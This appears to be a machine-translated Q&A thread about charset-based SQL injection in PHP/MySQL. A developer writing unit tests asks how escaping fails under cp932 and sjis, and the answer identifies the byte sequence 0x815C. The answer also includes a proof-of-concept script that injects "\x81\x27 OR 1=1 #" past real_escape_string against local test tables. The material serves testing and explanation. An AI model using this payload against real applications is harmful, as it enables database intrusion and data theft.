如何使用Shift-JIS和CP932创buildSQL注入攻击?
我正在写一些unit testing,以确保我的代码不容易在各种字符集下的SQL注入。
根据这个答案 ,您可以通过使用以下字符集之一注入\xbf\x27来创build漏洞: big5 , cp932 , gb2312 , gbk和sjis
这是因为如果您的助手configuration不正确,它会看到0x27并尝试转义它,使其成为\xbf\x5c\x27 。 但是, \xbf\x5c实际上是这些字符\xbf\x5c的一个字符,因此引号( 0x27 ) \xbf\x5c转义。
但是,正如我通过testing发现的,这不完全正确。 它适用于big5 , gb2312和gbk但在sjis和cp932都不是0xbf27或cp932 。
都
mb_strpos("abc\xbf\x27def","'",0,'sjis')
和
mb_strpos("abc\xbf\x27def","'",0,'cp932')
返回4 。 即PHP不会将\xbf\x27看作单个字符。 这将返回false为big5 , gb2312和gbk 。
另外,这个:
mb_strlen("\xbf\x5c",'sjis')
返回2 (它为gbk返回1 )。
所以,问题是:是否有另一个字符序列,使sjis和cp932容易受到SQL注入,或者他们实际上不是脆弱的? 或者说是PHP说谎,我完全错了,MySQL会完全不同的解释?
魔鬼是在细节…让我们开始讨论如何回答有关易受攻击的字符集列表:
为了使这种攻击起作用,我们需要服务器在连接上预期的编码
'如ASCII码0x27,最后一个字节是ASCII码,即0x5c。 事实certificate,MySQL 5.6默认支持5种这样的编码:big5,cp932,gb2312,gbk和sjis。 我们将在这里selectgbk。
这给了我们一些上下文 – 0xbf5c被用作gbk一个例子,而不是所有5个字符集的通用字符。
恰恰相同的是,相同的字节序列也是big5和gb2312下的有效字符。
在这一点上,你的问题变得如此简单:
哪个字节序列是
cp932和sjis下的有效字符,结束于0x5c?
公平的说,我为这些字符集尝试的大多数谷歌search没有给出任何有用的结果。 但是我find了这个CP932.TXT文件 ,其中如果你search'5c ' (有空格),你会跳到这一行:
0x815C 0x2015 #HORIZONTAL BAR
我们有一个赢家! 🙂
有些Oracle文档确认0x815c对于cp932和sjis 0x815c是相同的字符,PHP也可以识别它:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); int(1) int(1)
这是一个攻击的PoC脚本:
<?php $username = 'username'; $password = 'password'; $mysqli = new mysqli('localhost', $username, $password); foreach (array('cp932', 'sjis') as $charset) { $mysqli->query("SET NAMES {$charset}"); $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); $mysqli->query("USE {$charset}_db"); $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); $input = "\x81\x27 OR 1=1 #"; $input = $mysqli->real_escape_string($input); $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; $result = $mysqli->query($query); if ($result->num_rows > 1) { echo "{$charset} exploit successful!\n"; } $mysqli->query("DROP DATABASE {$charset}_db"); }